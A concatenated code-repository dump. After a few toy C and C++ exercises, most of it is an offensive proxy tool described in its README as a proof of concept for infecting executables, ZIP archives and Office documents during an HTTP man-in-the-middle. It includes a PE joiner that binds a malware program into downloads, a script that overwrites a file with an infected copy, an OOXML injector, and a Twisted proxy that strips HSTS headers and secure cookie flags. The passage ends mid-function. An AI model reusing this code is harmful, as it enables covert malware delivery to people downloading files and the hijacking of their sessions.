"A man is like a fraction whose numerator is what he is and whose denominator is what he thinks of himself. The larger the denominator, the smaller the fraction.\n– <NAME>",
"In mathematics the art of proposing a question must be held of higher value than solving it.\n– <NAME>",
"It is not knowledge, but the act of learning, not possession but the act of getting there, which grants the greatest enjoyment.\n– <NAME>",
"If people do not believe that mathematics is simple, it is only because they do not realize how complicated life is.\n– <NAME>",
"Mathematics is good for the soul, getting things right enlivens a sense of truth, efforts to understand automatically purify desires.\n– <NAME>",
"We live in a fantasy world, a world of illusion. The great task in life is to find reality.\n– <NAME>",
"Think wrongly, if you please, but in all cases think for yourself.\n– <NAME>",
"The only thing that makes life possible is permanent, intolerable uncertainty; not knowing what comes next.\n– <NAME>",
"The only questions that really matter are the ones you ask yourself.\n– <NAME>",
"I tore myself away from the safe comfort of certainties through my love for truth - and truth rewarded me.\n– <NAME>",
"I can always choose, but I ought to know that if I do not choose, I am still choosing.\n– <NAME>",
"A person who never made a mistake never tried anything new.\n– <NAME>",
"Failure is success in progress.\n– <NAME>",
"There are two kinds of failures: those who thought and never did, and those who did and never thought.\n– <NAME>",
"Success consists of going from failure to failure without loss of enthusiasm.\n– <NAME>",
"Uncertainty is the refuge of hope.\n– <NAME>",
"Perfecting oneself is as much unlearning as it is learning.\n– <NAME>",
"Your mind will answer most questions if you learn to relax and wait for the answer.\n– <NAME>",
"So long as you have food in your mouth, you have solved all questions for the time being.\n– <NAME>",
"It is better to know some of the questions than all of the answers.\n– <NAME>",
"Failure is simply the opportunity to begin again, this time more intelligently.\n– <NAME>",
"Truth lies within a little and certain compass, but error is immense.\n– <NAME>",
"It is one thing to show a man that he is in error, and another to put him in possesion of truth.\n– <NAME>",
"Mediocrity knows nothing higher than itself, but talent instantly recognizes genius.\n– <NAME>",
"Once you eliminate the impossible, whatever remains, no matter how improbable, must be the truth.\n– <NAME>",
"If you tell the truth, you don't have to remember anything.\n– <NAME>",
"Man is least himself when he talks in his own person. Give him a mask, and he will tell you the truth.\n– <NAME>",
"Experience is simply the name we give our mistakes.\n– <NAME>",
"No man ever steps in the same river twice, for it's not the same river and he's not the same man.\n– Heraclitus",
"Life is the art of drawing without an eraser.\n– <NAME>",
"Be human, until your accountant explodes.\n– Inspirobot",
"Nothing in life is to be feared, it is only to be understood. Now is the time to understand more, so that we may fear less.\n– <NAME>",
"Life consists not in holding good cards but in playing those you hold well.\n– <NAME>",
"All truth passes through three stages. First, it is ridiculed. Second, it is violently opposed. Third, it is accepted as being self-evident.\n– <NAME>",
"Talent hits a target no one else can hit. Genius hits a target no one else can see.\n– <NAME>"
]
if guessesTaken < 5:
time.sleep(1) # in seconds, not milliseconds!
print ("\n" + inspiration[random.randint(0, 49)])
<file_sep>/C/hello.c
#include <stdio.h>
// Hello World but shifting characters one place
// Real test is whether fputc and stdout work
// No. This is a C program, actually.
int main()
{
for (char *s="Ifmmp!Xpsme\v"; *s; fputc((*s++)-1, stdout));
return 0;
}
<file_sep>/C++/FizzBuzz2.cpp
#include <iostream>
#include <string.h>
using std::cout;
// Never hard-code constants!
const std::string TXT1 = "Fizz";
const std::string TXT2 = "Buzz";
const int NUM1 = 3;
const int NUM2 = 5;
const int ITER = 100;
int main()
{
for(int i=1; i<=ITER; i++)
{
if(i%NUM1==0 || i%NUM2==0)
{
if(i%NUM1==0) cout << TXT1;
if(i%NUM2==0) cout << TXT2;
}
else
{
cout << i;
}
// No new line, for faster text-to-speech
cout << " ";
}
return 0;
}
<file_sep>/C++/negative.cpp
#include <iostream>
// Is a negative number true?
int main()
{
if (-2) std::cout << "This is true" << std::endl;
return 0;
}
<file_sep>/C++/palindrome.cpp
#include <iostream>
#include <string.h>
using namespace std;
// Test whether a string is a palindrome
// From <NAME>, Programming - Principles and Practice Using C++ (Second Edition), Chapter 18: Vectors and Arrays (free sample)
// Not sure which dependencies he's assuming
// Compiler errors for special characters copied from PDF
// Retyped everything
// Version 2: add graceful exit instead of Ctrl+C
bool is_palindrome(const string& s)
{
int first = 0; // index of first letter
int last = s.length()-1; // index of last letter
while (first < last) { // we haven't reached the middle
if (s[first]!=s[last]) return false;
++first; // move forward
--last; // move backward
}
return true;
}
int main()
{
for (string s; cin>>s; ) {
if (s=="exit") break; // wouldn't this be too simple? no, it works
cout << s << " is";
if (!is_palindrome(s)) cout << " not";
cout << " a palindrome\n";
}
}
|
5304aec962708d447f3eabaa965ca691da6b52a8
|
[
"Markdown",
"C",
"Python",
"C++"
] | 11
|
Markdown
|
ProkhorZ/training
|
c0dfa728ede274e88f475fa34c5e11cd55d75d44
|
6a77eea5751f869993600cbcd3eacd304dad20b0
|
refs/heads/master
|
<file_sep>EDM proxy for infecting files on-the-fly
========================================
Offensive Proxy server
POC for infecting PE files, ZIP files, Office documents on the fly during a HTTP MitM.
For SSLstrip 2 you will need [dns2proxy-hsts](https://github.com/LeonardoNve/dns2proxy_hsts)
> TODO: pip requeriments.txt
<file_sep>#!/usr/bin/env python
__author__ = '<NAME>'
from Handlers import PEBinder
import argparse
from tempfile import mkstemp
MALWARE_SECTION_NAME = ".ldata"
ORIGINAL_SECTION_NAME = ".blob"
MAX_PATH = 260
MALPATH_SIGNATURE = "LDATLDATLDATLDAT"
BLOBPATH_SIGNATURE = "BLOBBLOBBLOBBLOB"
def modpaths(launcher, path, signature = MALPATH_SIGNATURE):
if len(path)>=60:
print "ERROR: PATH too long"
return launcher
with open(launcher,"r") as f:
data = f.read()
position = data.find(signature)
print "SIGNATURE position: %d (0x%x)"%(position, position)
print "PATH length : ",str(len(path))
data = data[:position] + path + "\x00"*(MAX_PATH-len(path)) + data[position+MAX_PATH:]
fd, temp = mkstemp()
open(temp,"w").write(data)
return temp
print "ERROR: Path not changed"
return launcher
def add_programs(launcher, program1, original, output):
if program1 is not None:
pe = PEBinder.PEHandler(launcher)
try:
data = open(program1,"rb").read()
except Exception, e:
print "%s\n%s" % (Exception, e)
data = ''
new, cl, padding = pe.Bind(data,len(data), contentlength = len(data), change_rsrc = False, section_name = MALWARE_SECTION_NAME)
padata = pe.Padding()
with open(output,"wb") as f:
f.write(new)
if padata is not None:
f.write(padata)
launcher = output
if original is not None:
pe = PEBinder.PEHandler(launcher)
try:
data = open(original,"rb").read()
except Exception, e:
print "%s\n%s" % (Exception, e)
data = ''
new, cl, padding = pe.Bind(data,len(data), contentlength = len(data), change_rsrc = True, section_name = ORIGINAL_SECTION_NAME)
padata = pe.Padding()
with open(output,"wb") as f:
f.write(new)
if padata is not None:
f.write(padata)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-m", "--program1", help="First program to extract & execute (default = calc.exe)", default = "calc.exe")
parser.add_argument("-r", "--original", help="Second program to extract & execute ", default=None)
parser.add_argument("-p", "--path1" , help="Path to extract the program1 (malware)", default=None)
parser.add_argument("-s", "--path2" , help="Path to extract the original", default=None)
parser.add_argument("-l", "--launcher" , help="Launcher (default = Launcher.exe)", default = "Launcher.exe" )
parser.add_argument("-o", "--output" , help="Output file (default = modded.exe)", default = "modded.exe" )
args = parser.parse_args()
program1 = args.program1
original = args.original
output = args.output
path1 = args.path1
path2 = args.path2
launcher = args.launcher
if path1 is not None:
launcher = modpaths(launcher, path1, signature = MALPATH_SIGNATURE)
if path2 is not None:
launcher = modpaths(launcher, path2, signature = BLOBPATH_SIGNATURE)
add_programs(launcher, program1, original, output)
<file_sep># -*- coding: utf-8 -*-
lang = [0 for i in range(100)]
lang[0] = "Activar SSLStrip v2"
lang[1] = "Cambios"
lang[2] = "Cargar configuración "
lang[3] = "Cargar ultima configuración utilizada"
lang[4] = "Configuración EXE"
lang[5] = "Configuración HTML"
lang[6] = "Configuración OOXML"
lang[7] = "Configuración Proxy"
lang[8] = "Configuración ZIP"
lang[9] = "Crypter:"
lang[10] = "Directorio dns2proxy:"
lang[11] = "Directorio proxy: "
lang[12] = "Directorio temporal: "
lang[13] = "Ejecutable iptables:"
lang[14] = "Extensión"
lang[15] = "Fichero de descarga:"
lang[16] = "Fichero de salida local:"
lang[17] = "Fichero descarga de original:"
lang[18] = "Fichero local"
lang[19] = "Fichero"
lang[20] = "Ficheros a añadir"
lang[21] = "Ficheros a modificar"
lang[22] = "Guardar Log"
lang[23] = "Guardar configuración "
lang[24] = "HTML"
lang[25] = "Herramienta de Monitorización:"
lang[26] = "Infectar EXEs"
lang[27] = "Infectar HTML"
lang[28] = "Infectar MS Office"
lang[29] = "Infectar ZIPs"
lang[30] = "Información usuario y sistema"
lang[31] = "Iniciar proxy"
lang[32] = "Interfaz de red:"
lang[33] = "Lanzador de ejecutables:"
lang[34] = "Lanzar dns2proxy (solo root y con sslstrip2)"
lang[35] = "Lanzar iptables (solo linux y root)"
lang[36] = "Limpiar Log"
lang[37] = "Modificación"
lang[38] = "Nombre"
lang[39] = "Nuevo texto"
lang[40] = "Objetivos"
lang[41] = "Opciones de red"
lang[42] = "Palabras clave"
lang[43] = "Prefijo redirección:"
lang[44] = "Programa externo"
lang[45] = "Proxy"
lang[46] = "Puerto TCP:"
lang[47] = "Recursos externos"
lang[48] = "Redirecionamientos"
lang[49] = "Redirecionar login exitoso"
lang[50] = "Ruta de interna"
lang[51] = "Ruta en ZIP"
lang[52] = "Ruta local"
lang[53] = "Tamaño"
lang[54] = "Texto a cambiar"
lang[55] = "Texto nuevo"
lang[56] = "Texto viejo"
lang[57] = "Transformación HTTP Request"
lang[58] = "Transformación HTTP Response"
lang[59] = "dominio"
lang[60] = "host de destino"
lang[61] = "login exitoso"
lang[62] = "modificado"
lang[63] = "objetivo"
lang[64] = "original"
lang[65] = "palabras clave"
lang[66] = "redirección"
lang[67] = "Proxy Parado"
lang[68] = u'No hay configuración por defecto'
lang[69] = 'Nivel de usuario desconocido'
lang[70] = 'Windows??? (De momento solo soportado Linux y Mac OS X)'
lang[71] = u'Selecciona fichero de configuración'
lang[72] = 'Selecciona fichero donde guardar'
lang[73] = '[++] Parando iptables...'
lang[74] = "Proxy parado"
lang[75] = '\nParando Proxy....\n'
lang[76] = 'Parando DNS2Proxy...\n'
lang[77] = 'Ejecutando... '
lang[78] = "Proxy ejecutandose"
lang[79] = "Parar Proxy"
lang[80] = '[++] Ejecutando iptables...'
lang[81] = 'Selecciona fichero'
lang[82] = 'Selecciona directorio'
lang[83] = u'Fichero de configuración no adecuado'
<file_sep>#!/usr/bin/env python
# -*- coding: utf-8 -*-
# wget -e http_proxy=127.0.0.1:8000 --no-cache http://ilalocal1526.net/workorders.docx
# www.loc.gov/catdir/cpso/romanization/arabic.docx
import sys, struct, zlib, re, os
import zipfile, zlib
import string, random
import struct
import tempfile
import json
OOXMLContentTypes = [
'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'application/vnd.openxmlformats-officedocument.presentationml.slideshow'
]
genericOOXMLContentTypes = ['application/vnd.openxmlformats']
extensiones = ['.docx', '.xlsx', '.pptx', '.ppsx']
MIN_OOXML_SIZE = 1000
def OOXMLCheck(headers, uri):
if "content-length" in headers:
if int(headers["content-length"]) < MIN_OOXML_SIZE :
return False
else:
return False
if "content-type" in headers:
contenttype = headers["content-type"]
else:
return False
if contenttype in OOXMLContentTypes:
return True
if contenttype in genericOOXMLContentTypes:
for extension in extensiones:
if extension in uri:
return True
if "content-disposition" in headers:
for extension in extensiones:
if extension in headers['content-disposition']:
return True
return False
class BloqueLFH:
'''
Almacenamiento y tratamiendo de datos de los bloques Local File Header y File Data.
'''
ESTRUCTURA_CABECERA = "<4s2B4HL2L2H"
TAMANO_CABECERA = None
FIRMA = "PK\003\004"
_CIDX_FIRMA = 0
_CIDX_FLAGS = 3
_CIDX_COMPRESION = 4
_CIDX_CRC = 7
_CIDX_COMPRIMIDO = 8
_CIDX_DESCOMPRIMIDO = 9
_CIDX_NOMBRE_LENGTH = 10
_CIDX_EXTRA_LENGTH = 11
def __init__(self):
self.TAMANO_CABECERA = struct.calcsize(self.ESTRUCTURA_CABECERA)
self.cabecera = None
self.sobrante = ""
self.contenido = None
self.nombre = None
self.extra = None
def datosBasicos(self):
return { self.nombre : [
self.cabecera[self._CIDX_COMPRIMIDO],
self.cabecera[self._CIDX_DESCOMPRIMIDO],
self.cabecera[self._CIDX_CRC]
]
}
def inicializa(self, datos):
try:
# cabecera
aux = datos[:self.TAMANO_CABECERA]
self.cabecera = struct.unpack(self.ESTRUCTURA_CABECERA, aux)
# campos de longitud variable en cabecera
self.nombre = datos[ self.TAMANO_CABECERA : self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH] ]
self.extra = datos[ self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH] : self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH] + self.cabecera[self._CIDX_EXTRA_LENGTH]]
# stream de contenido
inicio_datos = self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH] + self.cabecera[self._CIDX_EXTRA_LENGTH]
size_datos = self.cabecera[self._CIDX_COMPRIMIDO]
if len(datos) < inicio_datos + size_datos:
self.sobrante = datos
return -1 ## bloque incompleto
elif len(datos) > inicio_datos + size_datos:
self.contenido = datos[inicio_datos : inicio_datos + size_datos]
self.sobrante = datos[inicio_datos + size_datos : ]
return 1 ## datos sobrantes en bloque
else:
self.contenido = datos[inicio_datos : ]
return 0 ## bloque exacto
except Exception, e:
self.sobrante = datos
return -1 ## unpack error, bloque incompleto
def serializa(self):
return struct.pack(self.ESTRUCTURA_CABECERA, *self.cabecera) + self.nombre + self.extra + self.contenido
def extraeStreamDescomprimido(self):
return zlib.decompress(self.contenido, -15)
def actualizaGenerico(self, elQue, aPartirDeDonde, conNombre, condicional = False):
# descomprimir
try:
original = self.extraeStreamDescomprimido()
except Exception, e:
print "!! Descompression exception: ",e
return
try:
modificado = original.replace(aPartirDeDonde, elQue, 1)
except Exception, e:
print "!! Replace exception: ",e
return
try:
# Compresion temporal en fichero .zip
tdir = tempfile.gettempdir()
tzip = os.path.join(os.path.sep, tdir, 'ups.zip')
fz = zipfile.ZipFile(tzip,'w', zipfile.ZIP_DEFLATED)
fz.writestr(conNombre, modificado)
fz.close()
fh = open(tzip, 'rb')
fc = fh.read()
fh.close()
os.remove(tzip)
# Actualizacion objeto bloque
fc = fc[ : fc.find('PK\001\001') ]
self.inicializa(fc)
except Exception, e:
print "!! Compression exception: ",e
def insertaEmbedido(self, injectObjects):
try:
a = injectObjects
b = []
for c in a:
# leemos binario OLE
with open(c[0], 'rb') as fhole:
fcole = fhole.read()
tdir = tempfile.gettempdir()
tzip = os.path.join(os.path.sep, tdir, 'ups.zip')
# lo comprimimos en fichero temporal
with zipfile.ZipFile(tzip,'w', zipfile.ZIP_DEFLATED) as fz:
fz.writestr(c[1], fcole)
fz.close()
# leemos su contenido y lo borramos.
with open(tzip, 'rb') as fh:
fc = fh.read()
fh.close()
os.remove(tzip)
#
zfh = fc[ : fc.find('PK\001\002') ]
objFH = BloqueLFH()
objFH.inicializa(zfh)
zfd = fc[ fc.find('PK\001\002') : ]
zfd = zfd[ : zfd.find('PK\005\006') ]
objCD = BloqueCDFH()
objCD.inicializa(zfd)
b.append( (objFH, objCD) )
return b
except Exception, e:
print '> Inserting exception: ',e
return None
class BloqueCDFH:
'''
Almacenamiento y tratamiento de datos de los bloques 'Central Directory Record'
'''
ESTRUCTURA_CABECERA = "<4s4B4HL2L5H2L"
TAMANO_CABECERA = None
FIRMA = "PK\001\002"
_CIDX_FIRMA = 0
_CIDX_FLAGS = 5
_CIDX_COMPRESION = 6
_CIDX_CRC = 9
_CIDX_COMPRIMIDO = 10
_CIDX_DESCOMPRIMIDO = 11
_CIDX_NOMBRE_LENGTH = 12
_CIDX_EXTRA_LENGTH = 13
_CIDX_COMMENT_LENGTH = 14
_CIDX_LH_OFFSET = 18
def __init__(self):
self.TAMANO_CABECERA = struct.calcsize(self.ESTRUCTURA_CABECERA)
self.cabecera = None
self.sobrante = ""
self.nombre = None
self.extra = None
def inicializa(self, datos):
try:
# cabecera
aux = datos[:self.TAMANO_CABECERA]
self.cabecera = struct.unpack(self.ESTRUCTURA_CABECERA, aux)
# campos de longitud variable en cabecera
nPos = self.TAMANO_CABECERA
self.nombre = datos[ nPos : nPos + self.cabecera[self._CIDX_NOMBRE_LENGTH] ]
ePos = self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH]
self.extra = datos[ ePos : ePos + self.cabecera[self._CIDX_EXTRA_LENGTH]]
cPos = self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH] + self.cabecera[self._CIDX_EXTRA_LENGTH]
if len(datos) < cPos:
self.sobrante = datos
return -1 ## bloque incompleto
elif len(datos) > cPos:
self.sobrante = datos[ cPos : ]
return 1 ## datos sobrantes en bloque
else:
return 0 ## bloque exacto
except Exception, e:
self.sobrante = datos
return -1 ## unpack error, bloque incompleto
def actualiza(self, datos):
cbc = list(self.cabecera)
cbc[self._CIDX_COMPRIMIDO] = datos[0]
cbc[self._CIDX_DESCOMPRIMIDO] = datos[1]
cbc[self._CIDX_CRC] = datos[2]
cbc[self._CIDX_LH_OFFSET] = datos[3]
self.cabecera = tuple(cbc)
def serializa(self):
return struct.pack(self.ESTRUCTURA_CABECERA, *self.cabecera) + self.nombre + self.extra
class BloqueEOCDR:
'''
Almacenamiento y tratamiento del End Of Central Directory Record
'''
ESTRUCTURA_CABECERA = "<4s4H2LH"
TAMANO_CABECERA = None
FIRMA = "PK\005\006"
_CIDX_FIRMA = 0
_CIDX_EDISK = 3
_CIDX_ETOTAL = 4
_CIDX_CDSIZE = 5
_CIDX_CD_OFFSET = 6
_CIDX_COMENT_LENGTH = 7
def __init__(self):
self.TAMANO_CABECERA = struct.calcsize(self.ESTRUCTURA_CABECERA)
self.cabecera = None
self.sobrante = ""
self.comentarios = None
self.nombre = "EOCDR"
def inicializa(self, datos):
try:
# cabecera
aux = datos[:self.TAMANO_CABECERA]
self.cabecera = struct.unpack(self.ESTRUCTURA_CABECERA, aux)
# campos de longitud variable en cabecera
self.comentarios = datos[ self.TAMANO_CABECERA : self.TAMANO_CABECERA + self.cabecera[self._CIDX_COMENT_LENGTH] ]
size_total = self.TAMANO_CABECERA + self.cabecera[self._CIDX_COMENT_LENGTH]
if len(datos) < size_total:
self.sobrante = datos
return -1 ## bloque incompleto
elif len(datos) > size_total:
self.sobrante = datos[ size_total : ]
return 1 ## datos sobrantes en bloque
else:
return 0 ## bloque exacto
except Exception, e:
self.sobrante = datos
return -1 ## unpack error, bloque incompleto
def serializa(self):
return struct.pack(self.ESTRUCTURA_CABECERA, *self.cabecera) + self.comentarios
def actualizaDesplazamientos(self,off, total_entradas, size_CD):
cbc = list(self.cabecera)
cbc[self._CIDX_CD_OFFSET] = off
cbc[self._CIDX_EDISK] = total_entradas
cbc[self._CIDX_ETOTAL] = total_entradas
cbc[self._CIDX_CDSIZE] = size_CD
self.cabecera = tuple(cbc)
class DOCXHandler:
BLOQUE_INCOMPLETO = -1
BLOQUE_COMPLETO = 0
BLOQUE_MULTIPLE = 1
TIPO_BLOQUE_LFH = 0
TIPO_BLOQUE_CDFH = 1
TIPO_BLOQUE_EOCDR = 2
BLOQUE_VACIO = 0
nuevoComprimido = nuevoDescomprimido = nuevo_crc32 = offsetDiff = 0
configuration = None
injectObjects = None
tipo = None
def __init__(self, ooxml_config, headers, uri):
self.por_tratar = ""
self.TipoDatosActuales = 0
self.DatosBloques = {
0: ( BloqueLFH(), 'PK\003\004'),
1: ( BloqueCDFH(), 'PK\001\002'),
2: ( BloqueEOCDR(), 'PK\005\006')
}
self.offset_LFH = 0
self.size_CD = 0
self.referencias = {}
self.objetos = None
self.configuration = json.loads(open(ooxml_config).read())
self.tipo = ".docx"
for extension in extensiones:
if extension in uri:
self.tipo = extension
if "content-disposition" in headers:
for extension in extensiones:
if extension in headers['content-disposition']:
return True
self.injectObjects = []
if self.tipo in self.configuration:
if 'add' in self.configuration[self.tipo]:
self.injectObjects = self.configuration[self.tipo]["add"]
print "> OOXML detected Handling response for Content-Type %s" % headers["content-type"]
#print "> DOCX detected Handling response for Content-Type %s" % response.getheader('Content-Type')
def Bind(self, data, datalen, contentlength = 0, downloaded_name='temporal.docx'):
if not self.tipo in self.configuration:
return data, contentlength, 0
return self.BlockHandler(data, datalen, contentlength, downloaded_name)
def BlockHandler(self, data, datalen, contentlength = 0, downloaded_name='temporal.docx'):
self.por_tratar += data
TodoAnalizado = False
aEnviar = ""
while not TodoAnalizado:
try:
objPK, firmaActual = self.DatosBloques[self.TipoDatosActuales]
bloques = self.por_tratar.split(firmaActual)
if len(bloques) == self.BLOQUE_VACIO:
break
for bloque in bloques:
if len(bloque) > self.BLOQUE_VACIO:
estado = objPK.inicializa(objPK.FIRMA + bloque)
self.por_tratar = objPK.sobrante
if estado == self.BLOQUE_INCOMPLETO:
TodoAnalizado = True
break
if self.TipoDatosActuales == self.TIPO_BLOQUE_LFH:
for fichero in self.configuration[self.tipo]["mod"]:
if fichero["name"] == objPK.nombre:
print "> Updating file ",objPK.nombre
objPK.actualizaGenerico(fichero["new"].encode("utf-8"), fichero["old"].encode("utf-8"), objPK.nombre)
dBasicos = objPK.datosBasicos()
dBasicos[dBasicos.keys()[0]].append(self.offset_LFH)
self.referencias.update(dBasicos)
aEnviar += objPK.serializa()
self.offset_LFH += len(objPK.serializa())
if estado == self.BLOQUE_MULTIPLE:
if len(self.injectObjects) > 0:
print "> INSERTING files"
self.objetos = objPK.insertaEmbedido(self.injectObjects)
if self.objetos != None:
for b in self.objetos:
dBasicos = b[0].datosBasicos()
dBasicos[dBasicos.keys()[0]].append(self.offset_LFH)
self.referencias.update(dBasicos)
aEnviar += b[0].serializa()
self.offset_LFH += len(b[0].serializa())
elif self.TipoDatosActuales == self.TIPO_BLOQUE_CDFH:
objPK.actualiza(self.referencias[objPK.nombre])
aEnviar += objPK.serializa()
self.size_CD += len(objPK.serializa())
if estado == self.BLOQUE_MULTIPLE:
if self.objetos != None:
for b in self.objetos:
b[1].actualiza(self.referencias[b[1].nombre])
aEnviar += b[1].serializa()
self.size_CD += len(b[1].serializa())
elif self.TipoDatosActuales == self.TIPO_BLOQUE_EOCDR:
# actualizar offset del CD
objPK.actualizaDesplazamientos(self.offset_LFH, len(self.referencias), self.size_CD)
TodoAnalizado = True
aEnviar += objPK.serializa()
print "> WORK Finished"
break
if estado == self.BLOQUE_MULTIPLE:
self.TipoDatosActuales += 1
except Exception, e:
pass
data = aEnviar
return data, 0, 0
def Padding(self):
return None<file_sep>#!/bin/bash
#
./joiner.py -m /tmp/Tcpview.exe -p test.dll -r $1 -s orig.dll -o /tmp/infected
cat /tmp/infected > $1
rm -f /tmp/infected
<file_sep>#!/usr/bin/python
__author__ = "<NAME>"
__email__ = "<EMAIL>"
from twisted.web import http
from twisted.internet import reactor, protocol, ssl
from twisted.internet.protocol import ClientFactory
from twisted.python import log
from os import popen
import sys
import argparse
import json
# Handlers
from Handlers import PEBinder
from Handlers import DOCXHandler
from Handlers import ZIPHandler
from Handlers import HTMLHandler
from urllib import urlencode
import inspect
import re
getInfoparam = '/clientpGetImage'
getInfoLen = 0-len(getInfoparam)
bad_headers = ['alternate-protocol', 'content-md5', 'strict-transport-security']
def lineno():
"""Returns the current line number in our program."""
return inspect.currentframe().f_back.f_lineno
def log2file(cad):
with open("log.txt", "a") as f:
f.write(cad)
return
class Handle():
type = None
handle = None
contentlength = 0
def __init__(self, headers, uri, buffer, active_sslstrip_param = False):
if "content-length" in headers:
self.contentlength = int(headers["content-length"])
# if 'content-type' in headers:
# print '[--] Content-type', headers['content-type']
if html_config:
if HTMLHandler.HTMLCheck(headers, uri):
self.handle = HTMLHandler.HTMLHandler(html_config, headers, uri, active_sslstrip_param)
self.type = 'html'
# print 'Handling a html file'
sys.stdout.flush()
return
if exe_file:
if PEBinder.PECheck(headers, uri, buffer) :
self.handle = PEBinder.PEHandler(exe_file)
self.type = 'pe'
print 'Handling a PE file'
sys.stdout.flush()
return
if ooxml_config:
if DOCXHandler.OOXMLCheck(headers, uri):
self.handle = DOCXHandler.DOCXHandler(ooxml_config, headers, uri)
self.type = 'ooxml'
print 'Handling a ooxml file'
sys.stdout.flush()
return
if zip_config:
if ZIPHandler.ZIPCheck(headers, uri, buffer):
self.handle = ZIPHandler.ZIPHandler(zip_config, headers, uri)
self.type = 'zip'
print 'Handling a zip file'
sys.stdout.flush()
return
return
'''
Llama al Bind del handle si es que hay.
Respuesta (proviene del Bind si hay handle):
Datos a enviar (modificados o no)
Nuevo content-length
Padding necesario despues
'''
def manage_data(self, data):
if self.handle is None:
return data, self.contentlength, 0
sys.stdout.flush()
return self.handle.Bind(data, len(data), contentlength=self.contentlength)
'''
Gestiona a la llamada del Padding del Handler
Respuesta (viene de la funcion Padding si hay handle):
Datos a enviar o None si no es necesario
'''
def final_data(self):
if self.handle is None:
return None
return self.handle.Padding()
class ProxyClient(http.HTTPClient):
""" The proxy client connects to the real server, fetches the resource and
sends it back to the original client, possibly in a slightly different
form.
"""
newcontentlen = None
setcookie = ''
handleResponsePartCalled = False
# Parametro headers del request
statusReq = None
infoRecv = False
def __init__(self, method, uri, postData, headers, originalRequest):
self.method = method
self.uri = uri
self.postData = postData
self.headers = headers
self.originalRequest = originalRequest
self.contentLength = None
self.len_buffer = 0
self.new_headers = {}
self.handler = None
self.host = originalRequest.requestHeaders.getRawHeaders('host')[0]
self.statusReq = '[++] Navigation: http://' + self.host + uri
self.infoRecv = (getInfoparam == uri[getInfoLen:])
self.active_sslstrip = active_sslstrip and (sslstrip_handler.check_host(self.host, onlycheck = True) is not None) and not self.infoRecv
# print '[--] ProxyClient originalRequest: ', json.dumps(originalRequest.__dict__,sort_keys=True, indent=4)
# Manejadores del REQUEST
def sendRequest(self):
# log.msgsg("Sending request: %s %s" % (self.method, self.uri))
self.sendCommand(self.method, self.uri)
def sendHeaders(self):
# print '[--] INIT sendHeaders:'
for key, values in self.headers:
# print key,': ',values
lkey = key.lower()
if lkey == 'connection':
values = ['close']
elif lkey == 'keep-alive':
next
# if key.lower() == 'host':
# print 'Host: ',values[0]
for value in values:
self.sendHeader(key, value)
self.endHeaders()
def sendPostData(self):
# log.msgsg("Sending POST data")
self.transport.write(self.postData)
def connectionMade(self):
# log.msgsg("HTTP connection made")
self.sendRequest()
self.sendHeaders()
if self.method == 'POST':
self.sendPostData()
def handleStatus(self, version, code, message):
# log.msgsg("Got server response: %s %s %s" % (version, code, message))
if self.infoRecv:
self.originalRequest.setResponseCode(408, "Server Timeout")
print '[+++] Info received: ', json.dumps(self.originalRequest.__dict__['args'],sort_keys=True, indent=4)
return
self.originalRequest.setResponseCode(int(code), message)
self.statusReq = self.statusReq + '\t%s %s' % (code, message)
print self.statusReq
def parse_set_cookie_str(self, setcookie, predomain = None):
parametros = setcookie.split(';')
setkeys = []
expires = None
path = None
domain = None
max_age = None
for param in parametros:
keys= param.split('=',1)
key = keys[0]
if len(keys)>1:
valor = keys[1]
else:
valor = None
lkey = key.lower()
if lkey[-7:] == 'expires':
expires = valor
elif lkey[-7:] == 'max-age':
max_age = valor
elif lkey[-4:] == 'path':
path = valor
elif lkey[-6:] == 'domain':
if predomain is not None:
domain = predomain
else:
domain = valor
elif lkey == 'xxxxxx':
pass
elif re.search('(httponly)|((\s*secure)((?!\S)|;))',lkey):
pass
else:
if key!='':
setkeys.append((key,valor))
for key,valor in setkeys:
self.originalRequest.addCookie(key, valor, expires = expires, domain = domain, path = path, max_age = max_age)
# print '[--] Added cookie',key
def handleHeader(self, key, value):
# print '[--] handleHeader: ',key,value
lkey = key.lower()
if self.active_sslstrip:
# print '[--] handleHeader ', sslstrip_handler.check_host(self.host)
if lkey in bad_headers:#or lkey[:21] == 'access-control-allow-':
return
# if lkey == 'content-security-policy':
# value = 'default-src *; script-src *; style-src *; object-src *; '
# self.originalRequest.responseHeaders.addRawHeader(key, value)
# return
value = sslstrip_handler.response_string_sslstrip(value)
if lkey == 'set-cookie':
#print '[--] Removing Secure flag: ',headers[key]
setcookie = HTMLHandler.secure_regex.sub(';xxxxxx;',value)
self.parse_set_cookie_str(setcookie)
return
if lkey in self.new_headers:
self.new_headers[lkey] = self.new_headers[lkey]+'; '+value # Si el header ya estaba, se agrega el valor al final con ;
else:
self.new_headers[lkey] = value
# print ">> %s: %s"%(key,value)
if lkey == 'content-length':
self.contentLength = value
else:
self.originalRequest.responseHeaders.addRawHeader(key, value)
def handleResponsePart(self, buffer):
if self.infoRecv:
return
# print '[--] handleResponsePart called'
if self.handler is None:
self.handler = Handle(self.new_headers, self.uri, buffer, active_sslstrip_param = self.active_sslstrip)
self.handleResponsePartCalled = True
buffer2, newc, padding_len = self.handler.manage_data(buffer)
if self.newcontentlen is None and newc > 0:
self.newcontentlen = newc
self.new_headers['content-length'] = newc
self.originalRequest.responseHeaders.addRawHeader('content-length', newc)
# proxy.ProxyClient.handleHeader(self, "Content-Length", self.newcontentlen)
sys.stdout.flush()
lenb = len(buffer2)
# print '[--] Buffer intermedio: ',lenb
if lenb > 0:
self.len_buffer += lenb
#print '>> New packet processed Old (%d bytes)\tNew (%d bytes)\tContent-Length: %d\tWrited: %d'%(len(buffer), lenb, self.newcontentlen,self.len_buffer)
http.HTTPClient.handleResponsePart(self, buffer2)
self.originalRequest.write(buffer2)
if (self.len_buffer + padding_len) == self.newcontentlen:
buffer3 = self.handler.final_data()
if buffer3 is not None:
# print ">> Buffer padding: %d"%len(buffer3)
http.HTTPClient.handleResponsePart(self, buffer3)
self.originalRequest.write(buffer3)
sys.stdout.flush()
def handleResponse(self, data):
if self.infoRecv:
datos = '<html><body></body></html>'
